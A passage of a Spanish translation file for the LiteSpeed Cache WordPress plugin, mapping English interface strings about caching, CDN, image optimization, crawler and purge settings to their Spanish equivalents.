value'=>'Valor por defecto','Static file type links to be replaced by CDN links.'=>'Enlaces de tipo de archivo estático que se reemplazarán con enlaces a la CDN.','For example, to drop parameters beginning with %1$s, %2$s can be used here.'=>'Por ejemplo, para eliminar parámetros que comienzan con %1$s, se puede usar %2$s aquí.','Drop Query String'=>'Ignorar cadenas de consulta','Enable this option if you are using both HTTP and HTTPS in the same domain and are noticing cache irregularities.'=>'Activa esta opción si estás usando tanto HTTP como HTTPS en el mismo dominio y estás notando irregularidades en la caché.','Improve HTTP/HTTPS Compatibility'=>'Mejorar compatibilidad HTTP/HTTPS','Remove all previous image optimization requests/results, revert completed optimizations, and delete all optimization files.'=>'Eliminar todos los resultados/peticiones de optimización de imágenes previos, revertir optimizaciones completadas, y eliminar todos los archivos de optimización.','Destroy All Optimization Data'=>'Destruir todos los datos de optimización','Scan for any new unoptimized image thumbnail sizes and resend necessary image optimization requests.'=>'Buscar nuevos tamaños de miniaturas de imágenes no optimizadas y reenviar las solicitudes de optimización de imágenes necesarias.','This will increase the size of optimized files.'=>'Esto aumentará el tamaño de los archivos optimizados.','Preserve EXIF data (copyright, GPS, comments, keywords, etc) when optimizing.'=>'Preservar datos EXIF (copyright, GPS, comentarios, palabras clave, etc) al optimizar.','Clear Logs'=>'Vaciar los registros','To test the cart, visit the <a %s>FAQ</a>.'=>'Para probar el carrito, visita la <a %s>FAQ</a>.',' %s ago'=>' hace %s','WebP saved %s'=>'WebP ha ahorrado un %s','If you run into any issues, please refer to the report number in your support message.'=>'Si experimentas algún problema, por favor menciona el número de informe en tu mensaje de soporte.','Last pull initiated by cron at %s.'=>'Última descarga iniciada por cron a las %s.','Images will be pulled automatically if the cron job is running.'=>'Las imágenes serán descargadas automáticamente si la tarea cron si está ejecutando.','Only press the button if the pull cron job is disabled.'=>'Solo pulsar el botón si la tarea cron de descarga está desactivada.','Pull Images'=>'Descargar imágenes','This process is automatic.'=>'Este proceso es automático.','Last Request'=>'Última petición','Images Pulled'=>'Imágenes recuperadas','Report'=>'Informe','Send this report to LiteSpeed. Refer to this report number when posting in the WordPress support forum.'=>'Enviar este informe a LiteSpeed. Menciona este número de informe al publicar en el foro de soporte de WordPress.','Send to LiteSpeed'=>'Enviar a LiteSpeed','LiteSpeed Optimization'=>'Optimización de LiteSpeed','Load Google Fonts Asynchronously'=>'Cargar Google Fonts asíncronamente','Browser Cache TTL'=>'TTL caché de navegador','Results can be checked in %sMedia Library%s.'=>'Los resultados pueden comprobarse en la %sBiblioteca de medios%s.','Learn More'=>'Leer más','Image groups total'=>'Total de grupos de imágenes','Images optimized and pulled'=>'Imágenes optimizadas y descargadas','Images requested'=>'Imágenes solicitadas','Switched to optimized file successfully.'=>'Cambio correcto a archivo optimizado.','Restored original file successfully.'=>'Archivo original restaurado con éxito.','Enabled WebP file successfully.'=>'Archivo WebP activado con éxito.','Disabled WebP file successfully.'=>'Archivo WebP desactivado con éxito.','Significantly improve load time by replacing images with their optimized %s versions.'=>'Mejora significativamente el tiempo de carga reemplazando imágenes con sus versiones %s optimizadas.','Selected roles will be excluded from cache.'=>'Los perfiles seleccionados serán excluidos de la caché.','Tuning'=>'Retoques','Selected roles will be excluded from all optimizations.'=>'Los perfiles seleccionados serán excluidos de todas las optimizaciones.','Role Excludes'=>'Excluir perfiles','Tuning Settings'=>'Ajustes de los retoques','If the tag slug is not found, the tag will be removed from the list on save.'=>'Si no se encuentra el slug de la etiqueta, la etiqueta será eliminada de la lista al guardar.','If the category name is not found, the category will be removed from the list on save.'=>'Si no se encuentra el nombre de la categoría, la categoría será eliminada de la lista al guardar.','After the QUIC.cloud Image Optimization server finishes optimization, it will notify your site to pull the optimized images.'=>'Después de que el servidor de optimización de imágenes de QUIC.cloud termine de optimizar, avisará a tu sitio para descargar las imágenes optimizadas.','Send Optimization Request'=>'Enviar solicitud de optimización','Image Information'=>'Información de imágenes','Total Reduction'=>'Reducción total','Optimization Summary'=>'Resumen de optimización','LiteSpeed Cache Image Optimization'=>'Optimización de imágenes de LiteSpeed Cache','Image Optimization'=>'Optimización de imágenes','For example, %s can be used for a transparent placeholder.'=>'Por ejemplo, los %s pueden usarse para un marcador de posición transparente.','By default a gray image placeholder %s will be used.'=>'Por defecto, se utilizará un marcador de posición de imagen gris %s.','This can be predefined in %2$s as well using constant %1$s, with this setting taking priority.'=>'Esto puede ser predefinido en %2$s así como usando las constantes %1$s, tomando prioridad con esta configuración.','Specify a base64 image to be used as a simple placeholder while images finish loading.'=>'Especifica una imagen base64 que se usará como un sencillo marcador de posición mientras terminan de cargarse las imágenes.','Elements with attribute %s in html code will be excluded.'=>'Se excluirán los elementos con el atributo %s en código html.','Filter %s is supported.'=>'El filtro %s es compatible.','Listed images will not be lazy loaded.'=>'Las imágenes listadas no se cargarán de forma retrasada.','Lazy Load Image Excludes'=>'Exclusiones de carga retrasada de imágenes','No optimization'=>'Sin optimización','Prevent any optimization of listed pages.'=>'Evitar cualquier optimización de las páginas listadas.','URI Excludes'=>'URL excluidas','Stop loading WordPress.org emoji. Browser default emoji will be displayed instead.'=>'Deja de cargar los emojis de WordPress.org. En su lugar, se mostrarán los emoji por defecto del navegador.','Both full URLs and partial strings can be used.'=>'Pueden utilizarse tanto URLs completas como cadenas parciales.','Load iframes only when they enter the viewport.'=>'Cargar iframes sólo cuando entran en la ventana de visualización.','Lazy Load Iframes'=>'Retrasar la carga de iframes','This can improve page loading time by reducing initial HTTP requests.'=>'Esto puede mejorar el tiempo de carga de la página reduciendo las peticiones HTTP iniciales.','Load images only when they enter the viewport.'=>'Cargar las imágenes sólo cuando entran en la ventana de visualización.','Lazy Load Images'=>'Retrasar la carga de imágenes','Media Settings'=>'Ajustes de medios','For example, for %1$s, %2$s and %3$s can be used here.'=>'Por ejemplo, para %1$s, se pueden utilizar aquí %2$s y %3$s.','Wildcard %1$s supported (match zero or more characters). For example, to match %2$s and %3$s, use %4$s.'=>'El comodín %1$s es compatible (compara cero o más caracteres). Por ejemplo, para igualar %2$s y %3$s, utiliza %4$s.','To match the beginning, add %s to the beginning of the item.'=>'Para que coincida con el principio, añade %s al comienzo del artículo.','For example, for %1$s, %2$s can be used here.'=>'Por ejemplo, para %1$s, se puede utilizar %2$s aquí.','Maybe later'=>'Quizás más tarde','I\'ve already left a review'=>'Ya he dejado una valoración','Welcome to LiteSpeed'=>'Bienvenido a LiteSpeed','Remove WordPress Emoji'=>'Eliminar emojis de WordPress','More settings'=>'Más ajustes','Private cache'=>'Caché privada','Non cacheable'=>'No cacheable','Mark this page as '=>'Marcar esta página como ','Purge this page'=>'Purgar esta página','Load JS Deferred'=>'Deferir carga de JS','Specify critical CSS rules for above-the-fold content when enabling %s.'=>'Especifica reglas CSS críticas para contenido de la mitad superior de la página al activar %s.','Critical CSS Rules'=>'Reglas de CSS críticas','Load CSS Asynchronously'=>'Cargar CSS asíncronamente','Prevent Google Fonts from loading on all pages.'=>'Evita que cargue Google Fonts en todas las páginas.','Remove Google Fonts'=>'Eliminar Google Fonts','This can improve your speed score in services like Pingdom, GTmetrix and PageSpeed.'=>'Esto puede mejorar tu puntuación de velocidad en servicios como Pingdom, GTmetrix y PageSpeed.','Remove query strings from internal static resources.'=>'Eliminar cadenas de consulta de recursos estáticos internos.','Remove Query Strings'=>'Eliminar query strings','user agents'=>'user agents','cookies'=>'cookies','You can turn on browser caching in server admin too. %sLearn more about LiteSpeed browser cache settings%s.'=>'También puedes activar el almacenamiento en caché del navegador en la administración del servidor. %sObtén más información sobre los ajustes de caché del navegador de LiteSpeed%s.','Browser caching stores static files locally in the user\'s browser. Turn on this setting to reduce repeated requests for static files.'=>'El cacheo de navegador almacena archivos estáticos localmente en el navegador del usuario. Activa este ajuste para reducir peticiones repetidas a archivos estáticos.','Browser Cache'=>'Caché del navegador','tags'=>'etiquetas','Do Not Cache Tags'=>'Etiquetas a no cachear','To exclude %1$s, insert %2$s.'=>'Para excluir %1$s, insertar %2$s.','categories'=>'categorías','To prevent %s from being cached, enter them here.'=>'Para evitar que los %s sean almacenados en la caché, introdúcelos aquí.','Do Not Cache Categories'=>'Categorías a no cachear','Query strings containing these parameters will not be cached.'=>'Las cadenas de consulta que contengan estos parámetros no se almacenarán en la caché.','Do Not Cache Query Strings'=>'Cadenas de consulta a no cachear','Paths containing these strings will not be cached.'=>'Las rutas que contengan estas cadenas no serán cacheadas.','Do Not Cache URIs'=>'URIs a no cachear','One per line.'=>'Una por línea.','URI Paths containing these strings will NOT be cached as public.'=>'Las rutas de URI que contengan estas cadenadas NO serán cacheadas como públicas.','Private Cached URIs'=>'URIs cacheadas privadamente','Paths containing these strings will not be served from the CDN.'=>'Las rutas que contengan las siguientes cadenas no se servirán desde el CDN.','Exclude Path'=>'Excluir ruta','Include File Types'=>'Incluir tipos de archivo','Serve all JavaScript files through the CDN. This will affect all enqueued WP JavaScript files.'=>'Servir todos los archivos JS a través de la CDN. Esto afectará a todos los archivos JS en cola de WordPress.','Include JS'=>'Incluir JS','Serve all CSS files through the CDN. This will affect all enqueued WP CSS files.'=>'Servir todos los archivos CSS a través de la CDN. Esto afectará a todos los archivos CSS en cola de WordPress.','Include CSS'=>'Incluir CSS','Serve all image files through the CDN. This will affect all attachments, HTML %1$s tags, and CSS %2$s attributes.'=>'Sirve todos los archivos de imagen a través de la CDN. Esto afectará a todos los archivos adjuntos, las etiquetas HTML %1$s y los atributos CSS %2$s.','Include Images'=>'Incluir imágenes','CDN URL to be used. For example, %s'=>'URL de la CDN a utilizar. Por ejemplo, %s','CDN URL'=>'URL de CDN','Site URL to be served through the CDN. Beginning with %1$s. For example, %2$s.'=>'URL del sitio a servir a través de la CDN. Empezando con %1$s. Por ejemplo, %2$s.','Original URLs'=>'URLs originales','CDN Settings'=>'Ajustes de CDN','CDN'=>'CDN','OFF'=>'OFF','ON'=>'ON','Notified LiteSpeed Web Server to purge CSS/JS entries.'=>'Solicitada la purga de entradas CSS/JS al servidor web LiteSpeed.','Minify HTML content.'=>'Minificar contenido HTML.','HTML Minify'=>'Minificar HTML','JS Excludes'=>'Excluir JS','JS Combine'=>'Combinar JS','JS Minify'=>'Minificar JS','CSS Excludes'=>'Excluir CSS','CSS Combine'=>'Combinar CSS','CSS Minify'=>'Minificar CSS','Please test thoroughly when enabling any option in this list. After changing Minify/Combine settings, please do a Purge All action.'=>'Por favor, prueba a fondo al activar cualquier opción de esta lista. Después de cambiar ajustes de minimización/combinación, por favor realiza una acción «Purgar todo».','This will purge all minified/combined CSS/JS entries only'=>'Esto purgará solo las entradas CSS/JS minimizadas o combinadas','Purge %s Error'=>'Error de purga de %s','Database Optimizer'=>'Optimizador de base de datos','Optimize all tables in your database'=>'Optimizar todas las tablas en tu base de datos','Optimize Tables'=>'Optimizar tablas','Clean all transient options'=>'Borrar todas las opciones de datos transitorios','All Transients'=>'Todos los datos transitorios','Clean expired transient options'=>'Borrar opciones de datos transitorios expirados','Expired Transients'=>'Datos transitorios expirados','Clean all trackbacks and pingbacks'=>'Borrar todos los trackbacks y pingbacks','Trackbacks/Pingbacks'=>'Trackbacks/pingbacks','Clean all trashed comments'=>'Borrar todos los comentarios en la papelera','Trashed Comments'=>'Comentarios enviados a la papelera','Clean all spam comments'=>'Borrar todos los comentarios spam','Spam Comments'=>'Comentarios spam','Clean all trashed posts and pages'=>'Borrar todas las entradas y páginas en la papelera','Trashed Posts'=>'Entradas enviadas a la papelera','Clean all auto saved drafts'=>'Borrar todos los borradores guardados automáticamente','Auto Drafts'=>'Borradores automáticos','Clean all post revisions'=>'Borrar todas las revisiones de entradas','Post Revisions'=>'Revisiones de entradas','Clean All'=>'Limpiar todo','Optimized all tables.'=>'Optimizadas todas las tablas.','Clean all transients successfully.'=>'Limpieza de todos los datos transitorios exitosa.','Clean expired transients successfully.'=>'Limpieza de datos transitorios expirados exitosa.','Clean trackbacks and pingbacks successfully.'=>'Limpieza de trackbacks y pingbacks exitosa.','Clean trashed comments successfully.'=>'Limpieza de comentarios en papelera exitosa.','Clean spam comments successfully.'=>'Limpieza de comentarios no deseados exitosa.','Clean trashed posts and pages successfully.'=>'Limpieza de páginas y entradas en papelera exitosa.','Clean auto drafts successfully.'=>'Limpieza de borradores automáticos exitosa.','Clean post revisions successfully.'=>'Limpieza de revisiones de entradas exitosa.','Clean all successfully.'=>'Limpieza completa exitosa.','Default Private Cache TTL'=>'TTL por defecto de la caché privada','If your site contains public content that certain user roles can see but other roles cannot, you can specify a Vary Group for those user roles. For example, specifying an administrator vary group allows there to be a separate publicly-cached page tailored to administrators (with “edit” links, etc), while all other user roles see the default public page.'=>'Si tu sitio incluye contenido público que solo ciertos perfiles de usuarios pueden ver, puedes especificar un grupo de variación para dichos perfiles de usuario. Por ejemplo, especificar un grupo de variación de administrador permite que haya una página cacheada públicamente personalziada para administradores (con enlaces de "editar", etc.), mientras que el resto de perfiles de usuario ven la página pública por defecto.','Vary Group'=>'Grupos de variación','Cache the built-in Comment Form ESI block.'=>'Almacena en la caché el bloque ESI del formulario de comentarios incluido.','Cache Comment Form'=>'Cachear formulario de comentario','Cache the built-in Admin Bar ESI block.'=>'Almacena en caché el bloque ESI de la barra de administración incorporada.','Cache Admin Bar'=>'Cachear barra de administrador','Turn ON to cache public pages for logged in users, and serve the Admin Bar and Comment Form via ESI blocks. These two blocks will be uncached unless enabled below.'=>'Actívalo para almacenar en la caché las páginas públicas para los usuarios conectados y muestra la barra de administración y el formulario de comentarios mediante bloques ESI. Estos dos bloques no serán almacenados en la caché, salvo que se active a continuación.','ESI allows you to designate parts of your dynamic page as separate fragments that are then assembled together to make the whole page. In other words, ESI lets you “punch holes” in a page, and then fill those holes with content that may be cached privately, cached publicly with its own TTL, or not cached at all.'=>'ESI te permite designar partes de tu página dinámica como fragmentos diferentes que son combinados juntos para formar la página completa. En otras palabras,  ESI permite "hacer huecos" en una página, y rellenar dichos huecos con contenido que puede ser cacheado privadamente, cacheado públicamente con su propio TTL, o no cacheado.','With ESI (Edge Side Includes), pages may be served from cache for logged-in users.'=>'Con ESI (Edge Side Includes), las páginas pueden ser servidas desde la caché a usuarios con sesión iniciada.','Private'=>'Privada','Public'=>'Pública','Purge Settings'=>'Ajustes de purga','Cache Mobile'=>'Cache móvil','Advanced level will log more details.'=>'El nivel avanzado registrará más detalles.','Basic'=>'Básico','The maximum average server load allowed while crawling. The number of crawler threads in use will be actively reduced until average server load falls under this limit. If this cannot be achieved with a single thread, the current crawler run will be terminated.'=>'La carga media permitida como máximo en el servidor durante la indexación. El número de hilos en uso del rastreador será reducido activamente hasta que la carga media del servidor baje de este límite. Si esto no es posible con un solo hilo, el proceso de indexación actual será terminado.','Cache Login Page'=>'Cachear página de acceso','Cache requests made by WordPress REST API calls.'=>'Cachear peticiones realizadas por llamadas de la API REST de WordPress.','Cache REST API'=>'Cachear API REST','Privately cache commenters that have pending comments. Disabling this option will serve non-cacheable pages to commenters. (LSWS %s required)'=>'Cachear privadamente a los usuarios con comentarios pendientes. Desactivar esta opción servirá páginas no-cacheables a los comentaristas. (LSWS %s requerido)','Cache Commenters'=>'Cachear comentaristas','Privately cache frontend pages for logged-in users. (LSWS %s required)'=>'Cachear privadamente páginas del sitio para usuarios con sesión iniciada. (LSWS %s requerido)','Cache Logged-in Users'=>'Cachear usuarios con sesión iniciada','Cache Control Settings'=>'Ajustes de control de caché','ESI'=>'ESI','Excludes'=>'Excluir','Purge'=>'Purgar','Cache'=>'Caché','Unexpected cache rule %2$s found in %1$s file. This rule may cause visitors to see old versions of pages due to the browser caching HTML pages. If you are sure that HTML pages are not being browser cached, this message can be dismissed. (%3$sLearn More%4$s)'=>'Se ha encontrado una regla inesperada de la caché %2$s en el archivo %1$s. Esta regla puede hacer que los visitantes vean las versiones anteriores de las páginas debido a que el navegador almacena en la caché las páginas HTML. Si tienes la seguridad de que las páginas HTML no están siendo almacenadas en la caché del navegador, puedes ignorar este mensaje. (%3$sMás información%4$s)','Current server time is %s.'=>'La hora actual del servidor es %s.','Specify the time to purge the "%s" list.'=>'Especifica la hora para purgar la lista «%s».','Both %1$s and %2$s are acceptable.'=>'Tanto %1$s como %2$s son aceptables.','Scheduled Purge Time'=>'Hora de purga programada','The URLs here (one per line) will be purged automatically at the time set in the option "%s".'=>'Las URLs de aquí (una por línea) serán purgadas automáticamente a la hora establecida en la opción «%s».','Scheduled Purge URLs'=>'URLs de purga programada','Shorten query strings in the debug log to improve readability.'=>'Acortar cadenas de peticiones en el registro de depuración para mejorar la legibilidad.','Heartbeat'=>'Heartbeat','MB'=>'MB','Log File Size Limit'=>'Límite de tamaño de archivo de registro','<p>Please add/replace the following codes into the beginning of %1$s:</p> %2$s'=>'<p>Por favor añade/reemplaza los siguientes códigos al comiendo de %1$s:</p> %2$s','%s file not writable.'=>'No se puede escribir el archivo %s.','%s file not readable.'=>'No se puede leer el archivo %s.','Collapse Query Strings'=>'Colapsar cadenas de peticiones','ESI Settings'=>'Ajustes de ESI','A TTL of 0 indicates do not cache.'=>'Un TTL de 0 implica no cachear.','Recommended value: 28800 seconds (8 hours).'=>'Valor recomendado: 28800 segundos (8 horas).','Widget Cache TTL'=>'TTL caché de Widgets','Enable ESI'=>'Activar ESI','See %sIntroduction for Enabling the Crawler%s for detailed information.'=>'Ver la %sIntroducción para activar el rastreador%s para obtener información detallada.','Custom Sitemap'=>'Sitemap personalizado','Purge pages by relative or full URL.'=>'Purgar páginas por URL completa o relativa.','The crawler feature is not enabled on the LiteSpeed server. Please consult your server admin or hosting provider.'=>'La característica de rastreador no está activada en el servidor LiteSpeed. Por favor, consulta al administrador del servidor.','WARNING'=>'ADVERTENCIA','The next complete sitemap crawl will start at'=>'La siguiente indexación de sitemap completa empezará a las','Failed to write to %s.'=>'Error al escribir a %s.','Folder is not writable: %s.'=>'El directorio no es escribible: %s.','Can not create folder: %1$s. Error: %2$s'=>'No se puede crear el directorio: %1$s. Error: %2$s','Folder does not exist: %s'=>'El directorio no existe: %s','Notified LiteSpeed Web Server to purge the list.'=>'Solicitado la purga de la lista al servidor web LiteSpeed.','Please visit the %sInformation%s page on how to test the cache.'=>'Visita la página de %sInformación%s sobre cómo probar la caché.','Allows listed IPs (one per line) to perform certain actions from their browsers.'=>'Permite a las IPs listadas (una por línea) ejecutar ciertas acciones desde sus navegadores.','Server Load Limit'=>'Límite de carga del servidor','Specify how long in seconds before the crawler should initiate crawling the entire sitemap again.'=>'Especifica tras cuanto tiempo debe el rastreador indexar el sitemap entero de nuevo.','Crawl Interval'=>'Intervalo de indexación','Then another WordPress is installed (NOT MULTISITE) at %s'=>'Y otro WordPress instalado (NO MULTISITIO) en %s','LiteSpeed Cache Network Cache Settings'=>'Ajustes de la caché de la red de caché de LiteSpeed','Select below for "Purge by" options.'=>'Selecciona debajo las opciones de «Purgar por».','LiteSpeed Cache CDN'=>'CDN de la caché de LiteSpeed','No crawler meta file generated yet'=>'Archivo meta del rastreador aún no generado','Show crawler status'=>'Mostrar estado del rastreador','Watch Crawler Status'=>'Ver estado del rastreador','Please see %sHooking WP-Cron Into the System Task Scheduler%s to learn how to create the system cron task.'=>'Consulta %sConectar WP-Cron al programador de tareas del sistema%s para aprender cómo crear la tarea cron del sistema.','Run frequency is set by the Interval Between Runs setting.'=>'La frecuencia de ejecución está fijada por el ajuste de Intervalo entre ejecuciones.','Manually run'=>'Ejecutar manualmente','Reset position'=>'Reestablecer posición','Run Frequency'=>'Frecuencia de ejecución','Cron Name'=>'Nombre del Cron','Crawler Cron'=>'Cron del rastreador','%d minute'=>'%d minuto','%d minutes'=>'%d minutos','%d hour'=>'%d hora','%d hours'=>'%d horas','Generated at %s'=>'Generado en %s','LiteSpeed Cache Crawler'=>'Rastreador de LiteSpeed Cache','If there are any questions, the team is always happy to answer any questions on the %ssupport forum%s.'=>'Si tienes alguna pregunta, el equipo estará siempre feliz de responder cualquier pregunta en el %sforo de soporte%s.','Crawler'=>'Rastreador','https://www.litespeedtech.com/products/cache-plugins/wordpress-acceleration'=>'https://www.litespeedtech.com/products/cache-plugins/wordpress-acceleration','Notified LiteSpeed Web Server to purge all pages.'=>'Solicitada la purga de todas las páginas al servidor web LiteSpeed.','All pages with Recent Posts Widget'=>'Todas las páginas con widget de Entradas recientes','Pages'=>'Páginas','This will Purge Pages only'=>'Esto solo purgará las páginas','Purge Pages'=>'Purgar páginas','Cancel'=>'Cancelar','Deactivate'=>'Desactivar','Activate'=>'Activar','Email Address'=>'Dirección de correo electrónico','Install Now'=>'Instalar ahora','Purged the URL!'=>'¡Se ha purgado la URL!','Purged the blog!'=>'¡Se ha purgado el blog!','Purged All!'=>'¡Se ha purgado todo!','Notified LiteSpeed Web Server to purge error pages.'=>'Solicitada la purga de las páginas de error al servidor web LiteSpeed.','If using OpenLiteSpeed, the server must be restarted once for the changes to take effect.'=>'Si se utiliza OpenLiteSpeed, el servidor debe reiniciarse una vez para que los cambios hagan efecto.','If the login cookie was recently changed in the settings, please log out and back in.'=>'Si la cookie de acceso ha sido cambiada recientemente en los ajustes, por favor cierra sesión y vuelve a iniciarla.','However, there is no way of knowing all the possible customizations that were implemented.'=>'Sin embargo, no hay manera de conocer todas las posibles personalizaciones implementadas.','The LiteSpeed Cache plugin is used to cache pages - a simple way to improve the performance of the site.'=>'El plugin LiteSpeed Cache se utiliza para cachear páginas - una manera simple de mejorar el rendimiento del sitio.','The network admin setting can be overridden here.'=>'El ajuste de administrador de red puede ser modificado aquí.','Specify how long, in seconds, public pages are cached.'=>'Especifica durante cuánto tiempo, en segundos, se almacenan en la caché las páginas públicas.','Specify how long, in seconds, private pages are cached.'=>'Especifica durante cuánto tiempo, en segundos, se almacenan en la caché las páginas privadas.','It is STRONGLY recommended that the compatibility with other plugins on a single/few sites is tested first.'=>'Se recomienda ENCARECIDAMENTE que primero se pruebe la compatibilidad con otros plugins en uno o varios sitios.','Purge pages by post ID.'=>'Purgar páginas por ID de entrada.','Purge the LiteSpeed cache entries created by this plugin'=>'Purga las entradas de caché de LiteSpeed creadas por este plugin','Purge %s error pages'=>'Purgar las páginas de error %s','This will Purge Front Page only'=>'Esto solo purgará la página principal','Purge pages by tag name - e.g. %2$s should be used for the URL %1$s.'=>'Purgar páginas por etiqueta: p. ej. %2$s debe ser usado para la URL %1$s.','Purge pages by category name - e.g. %2$s should be used for the URL %1$s.'=>'Purgar páginas por nombre de categoría: p. ej. %2$s debe ser usado por la URL %1$s.','If only the WordPress site should be purged, use Purge All.'=>'Si se debe purgar todo el sitio WordPress, usa «Purgar todo».','Notified LiteSpeed Web Server to purge everything.'=>'Solicitado la purga de todo al servidor web LiteSpeed.','Use Primary Site Configuration'=>'Usar configuración del sitio principal','This will disable the settings page on all subsites.'=>'Esto desactivará la página de ajustes en todos los subsitios.','Check this option to use the primary site\'s configuration for all subsites.'=>'Marca esta opción para usar la configuración del sitio principal para todos los subsitios.','Save Changes'=>'Guardar cambios','The following options are selected, but are not editable in this settings page.'=>'Las siguientes opciones están seleccionadas, pero no son editables en esta página de ajustes.','The network admin selected use primary site configs for all subsites.'=>'El administrador de red seleccionó las configuraciones del sitio primario para todos los subsitios.','Empty Entire Cache'=>'Vaciar la caché entera','This action should only be used if things are cached incorrectly.'=>'Esta acción solo debe ser usada si las cosas se están almacenando en caché incorrectamente.','Clears all cache entries related to this site, including other web applications.'=>'Vacía todas las entradas de la caché relacionadas con este sitio, incluyendo otras aplicaciones web.','This may cause heavy load on the server.'=>'Esto puede causar una alta carga en el servidor.','This will clear EVERYTHING inside the cache.'=>'Esto eliminará TODO dentro de la caché.','LiteSpeed Cache Purge All'=>'Purdgar toda la caché de LiteSpeed','If you would rather not move at litespeed, you can deactivate this plugin.'=>'Si no quieres la aceleración de litespeed, puedes desactivar este plugin.','Create a post, make sure the front page is accurate.'=>'Crear una entrada, asegurarse que la página principal está actualizada.','Visit the site while logged out.'=>'Visitar el sitio sin la sesión iniciada.','Examples of test cases include:'=>'Ejemplos de pruebas incluyen:','For that reason, please test the site to make sure everything still functions properly.'=>'Por ello, por favor prueba el sitio para asegurar que todo sigue funcionando correctamente.','This message indicates that the plugin was installed by the server admin.'=>'Este mensaje indica que el plugin fue instalado por el administrador del servidor.','LiteSpeed Cache plugin is installed!'=>'¡El plugin LiteSpeed Cache está instalado!','Debug Log'=>'Registro de depuración','Admin IP Only'=>'Solo la IP del administrador','The Admin IP option will only output log messages on requests from admin IPs listed below.'=>'La opción de IP de administrador solo mostrará mensajes de registro en peticiones desde IPs abajo listadas.','Specify how long, in seconds, REST calls are cached.'=>'Especifica durante cuánto tiempo, en segundos, se almacenan en la caché las llamadas REST.','The environment report contains detailed information about the WordPress configuration.'=>'El informe de entorno contiene información detallada sobre la configuración de WordPress.','The server will determine if the user is logged in based on the existence of this cookie.'=>'El servidor determinará si el usuario está conectado en base a la existencia de esta cookie.','Note'=>'Nota','After verifying that the cache works in general, please test the cart.'=>'Después de que la caché funcione en general, por favor prueba el carrito.','When enabled, the cache will automatically purge when any plugin, theme or the WordPress core is upgraded.'=>'Al activarlo, la caché se purgará automáticamente cuando cualquier plugin, tema o el núcleo de WordPress sea actualizado.','Purge All On Upgrade'=>'Purgar todo al actualizar','Product Update Interval'=>'Intervalo de actualización de producto','Determines how changes in product quantity and product stock status affect product pages and their associated category pages.'=>'Determina como los cambios en la cantidad de producto o estado del inventario afecta a las páginas de producto y sus páginas de categoría asociadas.','Always purge both product and categories on changes to the quantity or stock status.'=>'Purgar siempre productos y categorías cuando cambie la cantidad o estado del inventario.','Do not purge categories on changes to the quantity or stock status.'=>'No purgar las categorías al cambiar la cantidad o estado del inventario.','Purge product only when the stock status changes.'=>'Purgar los productos solo cuando cambie el estado del inventario.','Purge product and categories only when the stock status changes.'=>'Purgar productos y categorías solo cuando cambie el estado del inventario.','Purge categories only when stock status changes.'=>'Purgar las categorías solo cuando el estado del inventario cambie.','Purge product on changes to the quantity or stock status.'=>'Purgar los productos con los cambios de cantidad o estado del inventario.','Htaccess did not match configuration option.'=>'El htaccess no coincide con la opción de configuración.','If this is set to a number less than 30, feeds will not be cached.'=>'Si esto se fija en un número inferior a 30, los feeds no serán cacheados.','Specify how long, in seconds, feeds are cached.'=>'Especifica por cuanto tiempo, en segundos, se cachean los feeds.','Default Feed TTL'=>'TTL por defecto del Feed','Failed to get %s file contents.'=>'Error al obtener contenido del archivo %s.','Disabling this option may negatively affect performance.'=>'Desactivar esta opción puede afectar negativamente al rendimiento.','Invalid login cookie. Invalid characters found.'=>'Cookie de acceso no válida. Encontrados caracteres no válidos.','WARNING: The .htaccess login cookie and Database login cookie do not match.'=>'ADVERTENCIA: La cookie de acceso del .htaccess y la cookie de acceso de la base de datos no coinciden.','Invalid login cookie. Please check the %s file.'=>'Cookie de acceso no válida. Por favor, comprueba el archivo %s.','The cache needs to distinguish who is logged into which WordPress site in order to cache correctly.'=>'La caché necesita distinguir quien esta logueado en cada sitio de WordPress a fin de cachear correctamente.','There is a WordPress installed for %s.'=>'Hay un WordPress instalado para %s.','Example use case:'=>'Ejemplo de uso:','The cookie set here will be used for this WordPress installation.'=>'La cookie aquí establecida será usada por esta instalación de WordPress.','If every web application uses the same cookie, the server may confuse whether a user is logged in or not.'=>'Si cada aplicación web utiliza la misma cookie, el servidor puede confundir si un usuario está logueado o no.','This setting is useful for those that have multiple web applications for the same domain.'=>'Este ajuste es útil para aquellos con multiples aplicaciones web en un mismo dominio.','The default login cookie is %s.'=>'La cookie de acceso por defecto es %s.','Login Cookie'=>'Cookie de acceso','More information about the available commands can be found here.'=>'Aquí se puede encontrar más información sobre los comandos disponibles.','These settings are meant for ADVANCED USERS ONLY.'=>'Estos ajustes están pensados SOLO PARA USUARIOS AVANZADOS.','Current %s Contents'=>'Contenidos actuales de %s','Advanced'=>'Avanzado','Advanced Settings'=>'Ajustes avanzados','Purge List'=>'Purgar lista','Purge By...'=>'Purgar por...','URL'=>'URL','Tag'=>'Etiqueta','Post ID'=>'ID de entrada','Category'=>'Categoría','NOTICE: Database login cookie did not match your login cookie.'=>'AVISO: La cookie de inicio de sesión de la base de datos no coincide con tu cookie de inicio de sesión.','Purge url %s'=>'Purgar la URL %s','Purge tag %s'=>'Purgar la etiqueta %s','Purge category %s'=>'Purgar la categoría %s','When disabling the cache, all cached entries for this site will be purged.'=>'Al desactivar la caché, se purgarán todas las entradas almacenadas en caché de este sitio.','NOTICE'=>'AVISO','This setting will edit the .htaccess file.'=>'Este ajuste editará el archivo .htaccess.','LiteSpeed Cache View .htaccess'=>'Ver el archivo «.htaccess» de LiteSpeed Cache','Failed to back up %s file, aborted changes.'=>'Fallo al hacer copia de seguridad del archivo %s, cambios cancelados.','Do Not Cache Cookies'=>'Cookies a no cachear','Do Not Cache User Agents'=>'User Agents a no cachear','This is to ensure compatibility prior to enabling the cache for all sites.'=>'Esto es para asegurar compatibilidad antes de activar la caché para todos los sitios.','Network Enable Cache'=>'Habilitar caché de red','NOTICE:'=>'AVISO:','Other checkboxes will be ignored.'=>'Otras opciones serán ignoradas.','Select "All" if there are dynamic widgets linked to posts on pages other than the front or home pages.'=>'Selecciona «Todo» si hay widgets dinámicos enlazados a entradas en páginas distintas de la portada o página de inicio.','List of Mobile User Agents'=>'Lista de User Agents móviles','File %s is not writable.'=>'No se puede escribir el archivo %s.','JS Settings'=>'Ajustes de JS','Manage'=>'Gestionar','Default Front Page TTL'=>'TTL por defecto de la Página Principal','Notified LiteSpeed Web Server to purge the front page.'=>'Solicitado al servidor web LiteSpeed la purga de la página de inicio.','Purge Front Page'=>'Purgar la página de inicio','Example'=>'Ejemplo','All tags are cached by default.'=>'Todas las etiquetas son cacheadas por defecto.','All categories are cached by default.'=>'Todas las categorías son cacheadas por defecto.','To do an exact match, add %s to the end of the URL.'=>'Para coincidencias exactas, añadir 